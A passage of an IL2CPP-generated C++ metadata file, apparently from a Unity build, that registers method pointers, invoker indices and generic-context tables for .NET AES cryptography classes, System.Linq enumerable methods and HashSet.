extern void AesTransform_SubByte_m2D77D545ABD3D84C04741B80ABB74BEFE8C55679 (void);
// 0x0000002B System.Void System.Security.Cryptography.AesTransform::Encrypt128(System.Byte[],System.Byte[],System.UInt32[])
extern void AesTransform_Encrypt128_m57DA74A7E05818DFD92F2614F8F65B0D1E696129 (void);
// 0x0000002C System.Void System.Security.Cryptography.AesTransform::Decrypt128(System.Byte[],System.Byte[],System.UInt32[])
extern void AesTransform_Decrypt128_m075F7BA40A4CFECA6F6A379065B731586EDDB23A (void);
// 0x0000002D System.Void System.Security.Cryptography.AesTransform::.cctor()
extern void AesTransform__cctor_mAC6D46ED54345C2D23DFCA026C69029757222CFD (void);
// 0x0000002E System.Exception System.Linq.Error::ArgumentNull(System.String)
extern void Error_ArgumentNull_m0EDA0D46D72CA692518E3E2EB75B48044D8FD41E (void);
// 0x0000002F System.Exception System.Linq.Error::ArgumentOutOfRange(System.String)
extern void Error_ArgumentOutOfRange_m2EFB999454161A6B48F8DAC3753FDC190538F0F2 (void);
// 0x00000030 System.Exception System.Linq.Error::MoreThanOneMatch()
extern void Error_MoreThanOneMatch_m4C4756AF34A76EF12F3B2B6D8C78DE547F0FBCF8 (void);
// 0x00000031 System.Exception System.Linq.Error::NoElements()
extern void Error_NoElements_mB89E91246572F009281D79730950808F17C3F353 (void);
// 0x00000032 System.Collections.Generic.IEnumerable`1<TSource> System.Linq.Enumerable::Where(System.Collections.Generic.IEnumerable`1<TSource>,System.Func`2<TSource,System.Boolean>)
// 0x00000033 System.Collections.Generic.IEnumerable`1<TResult> System.Linq.Enumerable::Select(System.Collections.Generic.IEnumerable`1<TSource>,System.Func`2<TSource,TResult>)
// 0x00000034 System.Func`2<TSource,System.Boolean> System.Linq.Enumerable::CombinePredicates(System.Func`2<TSource,System.Boolean>,System.Func`2<TSource,System.Boolean>)
// 0x00000035 System.Func`2<TSource,TResult> System.Linq.Enumerable::CombineSelectors(System.Func`2<TSource,TMiddle>,System.Func`2<TMiddle,TResult>)
// 0x00000036 System.Linq.IOrderedEnumerable`1<TSource> System.Linq.Enumerable::OrderBy(System.Collections.Generic.IEnumerable`1<TSource>,System.Func`2<TSource,TKey>)
// 0x00000037 System.Linq.IOrderedEnumerable`1<TSource> System.Linq.Enumerable::OrderByDescending(System.Collections.Generic.IEnumerable`1<TSource>,System.Func`2<TSource,TKey>)
// 0x00000038 System.Boolean System.Linq.Enumerable::SequenceEqual(System.Collections.Generic.IEnumerable`1<TSource>,System.Collections.Generic.IEnumerable`1<TSource>)
// 0x00000039 System.Boolean System.Linq.Enumerable::SequenceEqual(System.Collections.Generic.IEnumerable`1<TSource>,System.Collections.Generic.IEnumerable`1<TSource>,System.Collections.Generic.IEqualityComparer`1<TSource>)
// 0x0000003A System.Collections.Generic.List`1<TSource> System.Linq.Enumerable::ToList(System.Collections.Generic.IEnumerable`1<TSource>)
// 0x0000003B TSource System.Linq.Enumerable::First(System.Collections.Generic.IEnumerable`1<TSource>)
// 0x0000003C TSource System.Linq.Enumerable::FirstOrDefault(System.Collections.Generic.IEnumerable`1<TSource>)
// 0x0000003D TSource System.Linq.Enumerable::FirstOrDefault(System.Collections.Generic.IEnumerable`1<TSource>,System.Func`2<TSource,System.Boolean>)
// 0x0000003E TSource System.Linq.Enumerable::Last(System.Collections.Generic.IEnumerable`1<TSource>)
// 0x0000003F TSource System.Linq.Enumerable::SingleOrDefault(System.Collections.Generic.IEnumerable`1<TSource>,System.Func`2<TSource,System.Boolean>)
// 0x00000040 TSource System.Linq.Enumerable::ElementAt(System.Collections.Generic.IEnumerable`1<TSource>,System.Int32)
// 0x00000041 System.Boolean System.Linq.Enumerable::Any(System.Collections.Generic.IEnumerable`1<TSource>)
// 0x00000042 System.Boolean System.Linq.Enumerable::Any(System.Collections.Generic.IEnumerable`1<TSource>,System.Func`2<TSource,System.Boolean>)
// 0x00000043 System.Int32 System.Linq.Enumerable::Count(System.Collections.Generic.IEnumerable`1<TSource>)
// 0x00000044 System.Void System.Linq.Enumerable/Iterator`1::.ctor()
// 0x00000045 TSource System.Linq.Enumerable/Iterator`1::get_Current()
// 0x00000046 System.Linq.Enumerable/Iterator`1<TSource> System.Linq.Enumerable/Iterator`1::Clone()
// 0x00000047 System.Void System.Linq.Enumerable/Iterator`1::Dispose()
// 0x00000048 System.Collections.Generic.IEnumerator`1<TSource> System.Linq.Enumerable/Iterator`1::GetEnumerator()
// 0x00000049 System.Boolean System.Linq.Enumerable/Iterator`1::MoveNext()
// 0x0000004A System.Collections.Generic.IEnumerable`1<TResult> System.Linq.Enumerable/Iterator`1::Select(System.Func`2<TSource,TResult>)
// 0x0000004B System.Collections.Generic.IEnumerable`1<TSource> System.Linq.Enumerable/Iterator`1::Where(System.Func`2<TSource,System.Boolean>)
// 0x0000004C System.Object System.Linq.Enumerable/Iterator`1::System.Collections.IEnumerator.get_Current()
// 0x0000004D System.Collections.IEnumerator System.Linq.Enumerable/Iterator`1::System.Collections.IEnumerable.GetEnumerator()
// 0x0000004E System.Void System.Linq.Enumerable/Iterator`1::System.Collections.IEnumerator.Reset()
// 0x0000004F System.Void System.Linq.Enumerable/WhereEnumerableIterator`1::.ctor(System.Collections.Generic.IEnumerable`1<TSource>,System.Func`2<TSource,System.Boolean>)
// 0x00000050 System.Linq.Enumerable/Iterator`1<TSource> System.Linq.Enumerable/WhereEnumerableIterator`1::Clone()
// 0x00000051 System.Void System.Linq.Enumerable/WhereEnumerableIterator`1::Dispose()
// 0x00000052 System.Boolean System.Linq.Enumerable/WhereEnumerableIterator`1::MoveNext()
// 0x00000053 System.Collections.Generic.IEnumerable`1<TResult> System.Linq.Enumerable/WhereEnumerableIterator`1::Select(System.Func`2<TSource,TResult>)
// 0x00000054 System.Collections.Generic.IEnumerable`1<TSource> System.Linq.Enumerable/WhereEnumerableIterator`1::Where(System.Func`2<TSource,System.Boolean>)
// 0x00000055 System.Void System.Linq.Enumerable/WhereArrayIterator`1::.ctor(TSource[],System.Func`2<TSource,System.Boolean>)
// 0x00000056 System.Linq.Enumerable/Iterator`1<TSource> System.Linq.Enumerable/WhereArrayIterator`1::Clone()
// 0x00000057 System.Boolean System.Linq.Enumerable/WhereArrayIterator`1::MoveNext()
// 0x00000058 System.Collections.Generic.IEnumerable`1<TResult> System.Linq.Enumerable/WhereArrayIterator`1::Select(System.Func`2<TSource,TResult>)
// 0x00000059 System.Collections.Generic.IEnumerable`1<TSource> System.Linq.Enumerable/WhereArrayIterator`1::Where(System.Func`2<TSource,System.Boolean>)
// 0x0000005A System.Void System.Linq.Enumerable/WhereListIterator`1::.ctor(System.Collections.Generic.List`1<TSource>,System.Func`2<TSource,System.Boolean>)
// 0x0000005B System.Linq.Enumerable/Iterator`1<TSource> System.Linq.Enumerable/WhereListIterator`1::Clone()
// 0x0000005C System.Boolean System.Linq.Enumerable/WhereListIterator`1::MoveNext()
// 0x0000005D System.Collections.Generic.IEnumerable`1<TResult> System.Linq.Enumerable/WhereListIterator`1::Select(System.Func`2<TSource,TResult>)
// 0x0000005E System.Collections.Generic.IEnumerable`1<TSource> System.Linq.Enumerable/WhereListIterator`1::Where(System.Func`2<TSource,System.Boolean>)
// 0x0000005F System.Void System.Linq.Enumerable/WhereSelectEnumerableIterator`2::.ctor(System.Collections.Generic.IEnumerable`1<TSource>,System.Func`2<TSource,System.Boolean>,System.Func`2<TSource,TResult>)
// 0x00000060 System.Linq.Enumerable/Iterator`1<TResult> System.Linq.Enumerable/WhereSelectEnumerableIterator`2::Clone()
// 0x00000061 System.Void System.Linq.Enumerable/WhereSelectEnumerableIterator`2::Dispose()
// 0x00000062 System.Boolean System.Linq.Enumerable/WhereSelectEnumerableIterator`2::MoveNext()
// 0x00000063 System.Collections.Generic.IEnumerable`1<TResult2> System.Linq.Enumerable/WhereSelectEnumerableIterator`2::Select(System.Func`2<TResult,TResult2>)
// 0x00000064 System.Collections.Generic.IEnumerable`1<TResult> System.Linq.Enumerable/WhereSelectEnumerableIterator`2::Where(System.Func`2<TResult,System.Boolean>)
// 0x00000065 System.Void System.Linq.Enumerable/WhereSelectArrayIterator`2::.ctor(TSource[],System.Func`2<TSource,System.Boolean>,System.Func`2<TSource,TResult>)
// 0x00000066 System.Linq.Enumerable/Iterator`1<TResult> System.Linq.Enumerable/WhereSelectArrayIterator`2::Clone()
// 0x00000067 System.Boolean System.Linq.Enumerable/WhereSelectArrayIterator`2::MoveNext()
// 0x00000068 System.Collections.Generic.IEnumerable`1<TResult2> System.Linq.Enumerable/WhereSelectArrayIterator`2::Select(System.Func`2<TResult,TResult2>)
// 0x00000069 System.Collections.Generic.IEnumerable`1<TResult> System.Linq.Enumerable/WhereSelectArrayIterator`2::Where(System.Func`2<TResult,System.Boolean>)
// 0x0000006A System.Void System.Linq.Enumerable/WhereSelectListIterator`2::.ctor(System.Collections.Generic.List`1<TSource>,System.Func`2<TSource,System.Boolean>,System.Func`2<TSource,TResult>)
// 0x0000006B System.Linq.Enumerable/Iterator`1<TResult> System.Linq.Enumerable/WhereSelectListIterator`2::Clone()
// 0x0000006C System.Boolean System.Linq.Enumerable/WhereSelectListIterator`2::MoveNext()
// 0x0000006D System.Collections.Generic.IEnumerable`1<TResult2> System.Linq.Enumerable/WhereSelectListIterator`2::Select(System.Func`2<TResult,TResult2>)
// 0x0000006E System.Collections.Generic.IEnumerable`1<TResult> System.Linq.Enumerable/WhereSelectListIterator`2::Where(System.Func`2<TResult,System.Boolean>)
// 0x0000006F System.Void System.Linq.Enumerable/<>c__DisplayClass6_0`1::.ctor()
// 0x00000070 System.Boolean System.Linq.Enumerable/<>c__DisplayClass6_0`1::<CombinePredicates>b__0(TSource)
// 0x00000071 System.Void System.Linq.Enumerable/<>c__DisplayClass7_0`3::.ctor()
// 0x00000072 TResult System.Linq.Enumerable/<>c__DisplayClass7_0`3::<CombineSelectors>b__0(TSource)
// 0x00000073 System.Collections.Generic.IEnumerator`1<TElement> System.Linq.OrderedEnumerable`1::GetEnumerator()
// 0x00000074 System.Linq.EnumerableSorter`1<TElement> System.Linq.OrderedEnumerable`1::GetEnumerableSorter(System.Linq.EnumerableSorter`1<TElement>)
// 0x00000075 System.Collections.IEnumerator System.Linq.OrderedEnumerable`1::System.Collections.IEnumerable.GetEnumerator()
// 0x00000076 System.Void System.Linq.OrderedEnumerable`1::.ctor()
// 0x00000077 System.Void System.Linq.OrderedEnumerable`1/<GetEnumerator>d__1::.ctor(System.Int32)
// 0x00000078 System.Void System.Linq.OrderedEnumerable`1/<GetEnumerator>d__1::System.IDisposable.Dispose()
// 0x00000079 System.Boolean System.Linq.OrderedEnumerable`1/<GetEnumerator>d__1::MoveNext()
// 0x0000007A TElement System.Linq.OrderedEnumerable`1/<GetEnumerator>d__1::System.Collections.Generic.IEnumerator<TElement>.get_Current()
// 0x0000007B System.Void System.Linq.OrderedEnumerable`1/<GetEnumerator>d__1::System.Collections.IEnumerator.Reset()
// 0x0000007C System.Object System.Linq.OrderedEnumerable`1/<GetEnumerator>d__1::System.Collections.IEnumerator.get_Current()
// 0x0000007D System.Void System.Linq.OrderedEnumerable`2::.ctor(System.Collections.Generic.IEnumerable`1<TElement>,System.Func`2<TElement,TKey>,System.Collections.Generic.IComparer`1<TKey>,System.Boolean)
// 0x0000007E System.Linq.EnumerableSorter`1<TElement> System.Linq.OrderedEnumerable`2::GetEnumerableSorter(System.Linq.EnumerableSorter`1<TElement>)
// 0x0000007F System.Void System.Linq.EnumerableSorter`1::ComputeKeys(TElement[],System.Int32)
// 0x00000080 System.Int32 System.Linq.EnumerableSorter`1::CompareKeys(System.Int32,System.Int32)
// 0x00000081 System.Int32[] System.Linq.EnumerableSorter`1::Sort(TElement[],System.Int32)
// 0x00000082 System.Void System.Linq.EnumerableSorter`1::QuickSort(System.Int32[],System.Int32,System.Int32)
// 0x00000083 System.Void System.Linq.EnumerableSorter`1::.ctor()
// 0x00000084 System.Void System.Linq.EnumerableSorter`2::.ctor(System.Func`2<TElement,TKey>,System.Collections.Generic.IComparer`1<TKey>,System.Boolean,System.Linq.EnumerableSorter`1<TElement>)
// 0x00000085 System.Void System.Linq.EnumerableSorter`2::ComputeKeys(TElement[],System.Int32)
// 0x00000086 System.Int32 System.Linq.EnumerableSorter`2::CompareKeys(System.Int32,System.Int32)
// 0x00000087 System.Void System.Linq.Buffer`1::.ctor(System.Collections.Generic.IEnumerable`1<TElement>)
// 0x00000088 System.Void System.Collections.Generic.HashSet`1::.ctor()
// 0x00000089 System.Void System.Collections.Generic.HashSet`1::.ctor(System.Collections.Generic.IEqualityComparer`1<T>)
// 0x0000008A System.Void System.Collections.Generic.HashSet`1::.ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)
// 0x0000008B System.Void System.Collections.Generic.HashSet`1::System.Collections.Generic.ICollection<T>.Add(T)
// 0x0000008C System.Void System.Collections.Generic.HashSet`1::Clear()
// 0x0000008D System.Boolean System.Collections.Generic.HashSet`1::Contains(T)
// 0x0000008E System.Void System.Collections.Generic.HashSet`1::CopyTo(T[],System.Int32)
// 0x0000008F System.Boolean System.Collections.Generic.HashSet`1::Remove(T)
// 0x00000090 System.Int32 System.Collections.Generic.HashSet`1::get_Count()
// 0x00000091 System.Boolean System.Collections.Generic.HashSet`1::System.Collections.Generic.ICollection<T>.get_IsReadOnly()
// 0x00000092 System.Collections.Generic.HashSet`1/Enumerator<T> System.Collections.Generic.HashSet`1::GetEnumerator()
// 0x00000093 System.Collections.Generic.IEnumerator`1<T> System.Collections.Generic.HashSet`1::System.Collections.Generic.IEnumerable<T>.GetEnumerator()
// 0x00000094 System.Collections.IEnumerator System.Collections.Generic.HashSet`1::System.Collections.IEnumerable.GetEnumerator()
// 0x00000095 System.Void System.Collections.Generic.HashSet`1::GetObjectData(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)
// 0x00000096 System.Void System.Collections.Generic.HashSet`1::OnDeserialization(System.Object)
// 0x00000097 System.Boolean System.Collections.Generic.HashSet`1::Add(T)
// 0x00000098 System.Void System.Collections.Generic.HashSet`1::CopyTo(T[])
// 0x00000099 System.Void System.Collections.Generic.HashSet`1::CopyTo(T[],System.Int32,System.Int32)
// 0x0000009A System.Void System.Collections.Generic.HashSet`1::Initialize(System.Int32)
// 0x0000009B System.Void System.Collections.Generic.HashSet`1::IncreaseCapacity()
// 0x0000009C System.Void System.Collections.Generic.HashSet`1::SetCapacity(System.Int32)
// 0x0000009D System.Boolean System.Collections.Generic.HashSet`1::AddIfNotPresent(T)
// 0x0000009E System.Int32 System.Collections.Generic.HashSet`1::InternalGetHashCode(T)
// 0x0000009F System.Void System.Collections.Generic.HashSet`1/Enumerator::.ctor(System.Collections.Generic.HashSet`1<T>)
// 0x000000A0 System.Void System.Collections.Generic.HashSet`1/Enumerator::Dispose()
// 0x000000A1 System.Boolean System.Collections.Generic.HashSet`1/Enumerator::MoveNext()
// 0x000000A2 T System.Collections.Generic.HashSet`1/Enumerator::get_Current()
// 0x000000A3 System.Object System.Collections.Generic.HashSet`1/Enumerator::System.Collections.IEnumerator.get_Current()
// 0x000000A4 System.Void System.Collections.Generic.HashSet`1/Enumerator::System.Collections.IEnumerator.Reset()
static Il2CppMethodPointer s_methodPointers[164] =
{
SR_GetString_mD7FC73A3473F4F165E55F8B4A7088F2E9F9CC412,
AesManaged__ctor_m79644F6BCD0E8C2D8BAF1B1E22E90D3C364F5C57,
AesManaged_get_FeedbackSize_mCFE4C56DFF81F5E616CE535AB7D9E37DC1B7A937,
AesManaged_get_IV_mB1D7896A5F5E71B8B7938A5DF3A743FC2E444018,
AesManaged_set_IV_m1DBDC4FDAE66A5F2FA99AA4A4E76769BB8897D1E,
AesManaged_get_Key_m4CC3B2D28A918B935AD42F3F8D54E93A6CB2FA31,
AesManaged_set_Key_m35D61E5FD8942054840B1F24E685E91E3E6CA6E1,
AesManaged_get_KeySize_mBE6EA533BD5978099974A74FF3DE3ECB8B173CD6,
AesManaged_set_KeySize_m2003A2B9200003C23B544F56E949A0630AA87F93,
AesManaged_get_Mode_mF9D7222B2AB685AC46F4564B6F2247114244AEF6,
AesManaged_set_Mode_mA5CF4C1F3B41503C6E09373ADB0B8983A6F61460,
AesManaged_get_Padding_mD81B3F96D3421F6CD2189A01D65736A9098ACD45,
AesManaged_set_Padding_m6B07EC4A0F1F451417DC0AC64E9D637D7916866B,
AesManaged_CreateDecryptor_m41AE4428FE60C9FD485640F3A09F1BF345452A3C,
AesManaged_CreateDecryptor_m7240F8C38B99CE73159DE7455046E951C4900268,
AesManaged_CreateEncryptor_mB2BBCAB8753A59FFB572091D2EF80F287CD951BF,
AesManaged_CreateEncryptor_m1E4EB80DE75FCF9E940228E1D7664C0EA1378153,
AesManaged_Dispose_mB0D969841D51825F37095A93E73A50C15C1A1477,
AesManaged_GenerateIV_mBB19651CC37782273A882055D4E63370268F2D91,
AesManaged_GenerateKey_mF6673B955AE82377595277C6B78C7DA8A16F480E,
AesCryptoServiceProvider__ctor_mA9857852BC34D8AB0F463C1AF1837CBBD9102265,
AesCryptoServiceProvider_GenerateIV_m18539D5136BA9A2FC71F439150D16E35AD3BF5C4,
AesCryptoServiceProvider_GenerateKey_m574F877FD23D1F07033FC035E89BE232303F3502,
AesCryptoServiceProvider_CreateDecryptor_mAB5FB857F549A86D986461C8665BE6B2393305D1,
AesCryptoServiceProvider_CreateEncryptor_m6BF20D5D8424DB627CD3010D9E4C8555C6BD0465,
AesCryptoServiceProvider_get_IV_m6A46F1C255ABE41F98BEE8C0C37D6AFBB9F29D34,
AesCryptoServiceProvider_set_IV_mCB88C0F651B17F3EC7575F16E14C9E3BD2DB24DB,
AesCryptoServiceProvider_get_Key_mAC979BC922E8F1F15B36220E77972AC9CE5D5252,
AesCryptoServiceProvider_set_Key_m65785032C270005BC120157A0C9D019F6F6BC96F,
AesCryptoServiceProvider_get_KeySize_m3081171DF6C11CA55ECEBA29B9559D18E78D8058,
AesCryptoServiceProvider_set_KeySize_mA994D2D3098216C0B8C4F02C0F0A0F63D4256218,
AesCryptoServiceProvider_get_FeedbackSize_m9DC2E1C3E84CC674ADB2D7E6B06066F333BEC89D,
AesCryptoServiceProvider_get_Mode_m3E1CBFD4D7CE748F3AB615EB88DE1A5D7238285D,
AesCryptoServiceProvider_set_Mode_mFE7044929761BABE312D1146B0ED51B331E35D63,
AesCryptoServiceProvider_get_Padding_m89D49B05949BA2C6C557EFA5211B4934D279C7AD,
AesCryptoServiceProvider_set_Padding_mD3353CD8F4B931AA00203000140520775643F96E,
AesCryptoServiceProvider_CreateDecryptor_mB1F90A7339DA65542795E17DF9C37810BD088DDF,
AesCryptoServiceProvider_CreateEncryptor_m9555DFFCA344DF06C8B88DDE2EB987B3958EC6BB,
AesCryptoServiceProvider_Dispose_m7123198904819E2BF2B1398E20047B316C3D7D1E,
AesTransform__ctor_m3903A599E8B2C3F7AB3B70E1258980151D639598,
AesTransform_ECB_m2E2F4E2B307B0D34FEADF38684007E622FCEDFD1,
AesTransform_SubByte_m2D77D545ABD3D84C04741B80ABB74BEFE8C55679,
AesTransform_Encrypt128_m57DA74A7E05818DFD92F2614F8F65B0D1E696129,
AesTransform_Decrypt128_m075F7BA40A4CFECA6F6A379065B731586EDDB23A,
AesTransform__cctor_mAC6D46ED54345C2D23DFCA026C69029757222CFD,
Error_ArgumentNull_m0EDA0D46D72CA692518E3E2EB75B48044D8FD41E,
Error_ArgumentOutOfRange_m2EFB999454161A6B48F8DAC3753FDC190538F0F2,
Error_MoreThanOneMatch_m4C4756AF34A76EF12F3B2B6D8C78DE547F0FBCF8,
Error_NoElements_mB89E91246572F009281D79730950808F17C3F353,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
};
static const int32_t s_InvokerIndices[164] =
{
4268,
2801,
2744,
2762,
2323,
2762,
2323,
2744,
2308,
2744,
2308,
2744,
2308,
2762,
1039,
2762,
1039,
2343,
2801,
2801,
2801,
2801,
2801,
1039,
1039,
2762,
2323,
2762,
2323,
2744,
2308,
2744,
2744,
2308,
2744,
2308,
2762,
2762,
2343,
582,
1380,
1650,
862,
862,
4418,
4268,
4268,
4401,
4401,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
-1,
};
static const Il2CppTokenRangePair s_rgctxIndices[41] =
{
{ 0x02000008, { 69, 4 } },
{ 0x02000009, { 73, 9 } },
{ 0x0200000A, { 84, 7 } },
{ 0x0200000B, { 93, 10 } },
{ 0x0200000C, { 105, 11 } },
{ 0x0200000D, { 119, 9 } },
{ 0x0200000E, { 131, 12 } },
{ 0x0200000F, { 146, 1 } },
{ 0x02000010, { 147, 2 } },
{ 0x02000012, { 149, 3 } },
{ 0x02000013, { 152, 5 } },
{ 0x02000014, { 157, 7 } },
{ 0x02000015, { 164, 3 } },
{ 0x02000016, { 167, 7 } },
{ 0x02000017, { 174, 4 } },
{ 0x02000018, { 178, 21 } },
{ 0x0200001A, { 199, 2 } },
{ 0x06000032, { 0, 10 } },
{ 0x06000033, { 10, 10 } },
{ 0x06000034, { 20, 5 } },
{ 0x06000035, { 25, 5 } },
{ 0x06000036, { 30, 2 } },
{ 0x06000037, { 32, 2 } },
{ 0x06000038, { 34, 1 } },
{ 0x06000039, { 35, 5 } },
{ 0x0600003A, { 40, 2 } },
{ 0x0600003B, { 42, 4 } },
{ 0x0600003C, { 46, 4 } },
{ 0x0600003D, { 50, 3 } },
{ 0x0600003E, { 53, 4 } },
{ 0x0600003F, { 57, 3 } },
{ 0x06000040, { 60, 3 } },
{ 0x06000041, { 63, 1 } },
{ 0x06000042, { 64, 3 } },
{ 0x06000043, { 67, 2 } },
{ 0x06000053, { 82, 2 } },
{ 0x06000058, { 91, 2 } },
{ 0x0600005D, { 103, 2 } },
{ 0x06000063, { 116, 3 } },
{ 0x06000068, { 128, 3 } },
{ 0x0600006D, { 143, 3 } },
};
static const Il2CppRGCTXDefinition s_rgctxValues[201] =
{
{ (Il2CppRGCTXDataType)2, 1990 },
{ (Il2CppRGCTXDataType)3, 8109 },
{ (Il2CppRGCTXDataType)2, 3305 },
{ (Il2CppRGCTXDataType)2, 2890 },
{ (Il2CppRGCTXDataType)3, 14973 },
{ (Il2CppRGCTXDataType)2, 2079 },
{ (Il2CppRGCTXDataType)2, 2897 },
{ (Il2CppRGCTXDataType)3, 15007 },
{ (Il2CppRGCTXDataType)2, 2892 },
{ (Il2CppRGCTXDataType)3, 14985 },
{ (Il2CppRGCTXDataType)2, 1991 },
{ (Il2CppRGCTXDataType)3, 8110 },
{ (Il2CppRGCTXDataType)2, 3326 },
{ (Il2CppRGCTXDataType)2, 2899 },
{ (Il2CppRGCTXDataType)3, 15019 },
{ (Il2CppRGCTXDataType)2, 2096 },
{ (Il2CppRGCTXDataType)2, 2907 },
{ (Il2CppRGCTXDataType)3, 15049 },
{ (Il2CppRGCTXDataType)2, 2903 },
{ (Il2CppRGCTXDataType)3, 15033 },
{ (Il2CppRGCTXDataType)2, 655 },
{ (Il2CppRGCTXDataType)3, 102 },
{ (Il2CppRGCTXDataType)3, 103 },
{ (Il2CppRGCTXDataType)2, 1319 },
{ (Il2CppRGCTXDataType)3, 6430 },
{ (Il2CppRGCTXDataType)2, 656 },
{ (Il2CppRGCTXDataType)3, 110 },
{ (Il2CppRGCTXDataType)3, 111 },
{ (Il2CppRGCTXDataType)2, 1326 },
{ (Il2CppRGCTXDataType)3, 6433 },
{ (Il2CppRGCTXDataType)2, 2540 },
{ (Il2CppRGCTXDataType)3, 12887 },
{ (Il2CppRGCTXDataType)2, 2541 },
{ (Il2CppRGCTXDataType)3, 12888 },
{ (Il2CppRGCTXDataType)3, 17219 },
{ (Il2CppRGCTXDataType)3, 5807 },
{ (Il2CppRGCTXDataType)2, 1214 },
{ (Il2CppRGCTXDataType)2, 1557 },
{ (Il2CppRGCTXDataType)2, 1637 },
{ (Il2CppRGCTXDataType)2, 1711 },
{ (Il2CppRGCTXDataType)2, 2080 },
{ (Il2CppRGCTXDataType)3, 8719 },
{ (Il2CppRGCTXDataType)2, 1897 },
{ (Il2CppRGCTXDataType)2, 1457 },
{ (Il2CppRGCTXDataType)2, 1562 },
{ (Il2CppRGCTXDataType)2, 1639 },
{ (Il2CppRGCTXDataType)2, 1898 },
{ (Il2CppRGCTXDataType)2, 1458 },
{ (Il2CppRGCTXDataType)2, 1563 },
{ (Il2CppRGCTXDataType)2, 1640 },
{ (Il2CppRGCTXDataType)2, 1564 },
{ (Il2CppRGCTXDataType)2, 1641 },
{ (Il2CppRGCTXDataType)3, 6431 },
{ (Il2CppRGCTXDataType)2, 1899 },
{ (Il2CppRGCTXDataType)2, 1459 },
{ (Il2CppRGCTXDataType)2, 1565 },
{ (Il2CppRGCTXDataType)2, 1642 },
{ (Il2CppRGCTXDataType)2, 1566 },
{ (Il2CppRGCTXDataType)2, 1643 },
{ (Il2CppRGCTXDataType)3, 6432 },
{ (Il2CppRGCTXDataType)2, 1896 },
{ (Il2CppRGCTXDataType)2, 1561 },
{ (Il2CppRGCTXDataType)2, 1638 },
{ (Il2CppRGCTXDataType)2, 1554 },
{ (Il2CppRGCTXDataType)2, 1555 },
{ (Il2CppRGCTXDataType)2, 1636 },
{ (Il2CppRGCTXDataType)3, 6429 },
{ (Il2CppRGCTXDataType)2, 1456 },
{ (Il2CppRGCTXDataType)2, 1560 },
{ (Il2CppRGCTXDataType)3, 8111 },
{ (Il2CppRGCTXDataType)3, 8113 },
{ (Il2CppRGCTXDataType)2, 428 },
{ (Il2CppRGCTXDataType)3, 8112 },
{ (Il2CppRGCTXDataType)3, 8121 },
{ (Il2CppRGCTXDataType)2, 1994 },
{ (Il2CppRGCTXDataType)2, 2893 },
{ (Il2CppRGCTXDataType)3, 14986 },
{ (Il2CppRGCTXDataType)3, 8122 },
{ (Il2CppRGCTXDataType)2, 1602 },
{ (Il2CppRGCTXDataType)2, 1666 },
{ (Il2CppRGCTXDataType)3, 6439 },
{ (Il2CppRGCTXDataType)3, 17176 },
{ (Il2CppRGCTXDataType)2, 2904 },
{ (Il2CppRGCTXDataType)3, 15034 },
{ (Il2CppRGCTXDataType)3, 8114 },
{ (Il2CppRGCTXDataType)2, 1993 },
{ (Il2CppRGCTXDataType)2, 2891 },
{ (Il2CppRGCTXDataType)3, 14974 },
{ (Il2CppRGCTXDataType)3, 6438 },
{ (Il2CppRGCTXDataType)3, 8115 },
{ (Il2CppRGCTXDataType)3, 17175 },
{ (Il2CppRGCTXDataType)2, 2900 },
{ (Il2CppRGCTXDataType)3, 15020 },
{ (Il2CppRGCTXDataType)3, 8128 },
{ (Il2CppRGCTXDataType)2, 1995 },
{ (Il2CppRGCTXDataType)2, 2898 },
{ (Il2CppRGCTXDataType)3, 15008 },
{ (Il2CppRGCTXDataType)3, 8764 },
{ (Il2CppRGCTXDataType)3, 4712 },
{ (Il2CppRGCTXDataType)3, 6440 },
{ (Il2CppRGCTXDataType)3, 4711 },
{ (Il2CppRGCTXDataType)3, 8129 },
{ (Il2CppRGCTXDataType)3, 17177 },
{ (Il2CppRGCTXDataType)2, 2908 },
{ (Il2CppRGCTXDataType)3, 15050 },
{ (Il2CppRGCTXDataType)3, 8142 },
{ (Il2CppRGCTXDataType)2, 1997 },
{ (Il2CppRGCTXDataType)2, 2906 },
{ (Il2CppRGCTXDataType)3, 15036 },
{ (Il2CppRGCTXDataType)3, 8143 },
{ (Il2CppRGCTXDataType)2, 1605 },
{ (Il2CppRGCTXDataType)2, 1669 },
{ (Il2CppRGCTXDataType)3, 6444 },
{ (Il2CppRGCTXDataType)3, 6443 },
{ (Il2CppRGCTXDataType)2, 2895 },
{ (Il2CppRGCTXDataType)3, 14988 },
{ (Il2CppRGCTXDataType)3, 17182 },
{ (Il2CppRGCTXDataType)2, 2905 },
